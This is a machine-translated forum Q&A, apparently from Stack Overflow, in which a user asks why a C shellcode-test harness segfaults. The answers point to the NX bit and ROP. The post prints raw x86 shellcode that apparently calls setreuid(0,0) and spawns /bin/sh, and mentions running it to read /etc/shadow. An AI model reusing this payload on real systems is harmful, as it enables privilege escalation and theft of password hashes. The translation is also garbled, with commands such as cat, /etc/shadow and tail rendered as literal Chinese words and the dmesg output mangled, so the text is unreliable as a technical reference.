我试过通过C程序运行大量的shell代码来测试它们。这是Shellcode没有运行
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
而这里的例子的shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\ BIN \猫\等\影子) 运行
gcc sctest.c -o out ./out
这只是后给我的shellcode的长度和分割错误 我已经尝试了很多不同的shellcode,但所有东西都给我segfault 我的dmesg |尾-1 [18440.783383]测试[8768]:测试[8049000 + 1000] 段错误的8049700 IP 08049700 SP bffff2ec错误15这有什么错我的shellcodes?
应该是一个常见问题。在现代系统上,只是执行数据将不再起作用,请参阅* NX位*。 –
@FelixPalmen谢谢!我已经花了很多时间试图了解缓冲区溢出现在看起来我已经准备好利用测试程序 – desu
时下利用缓冲区溢出,您将需要更先进的技术,如ROP(返回导向编程) –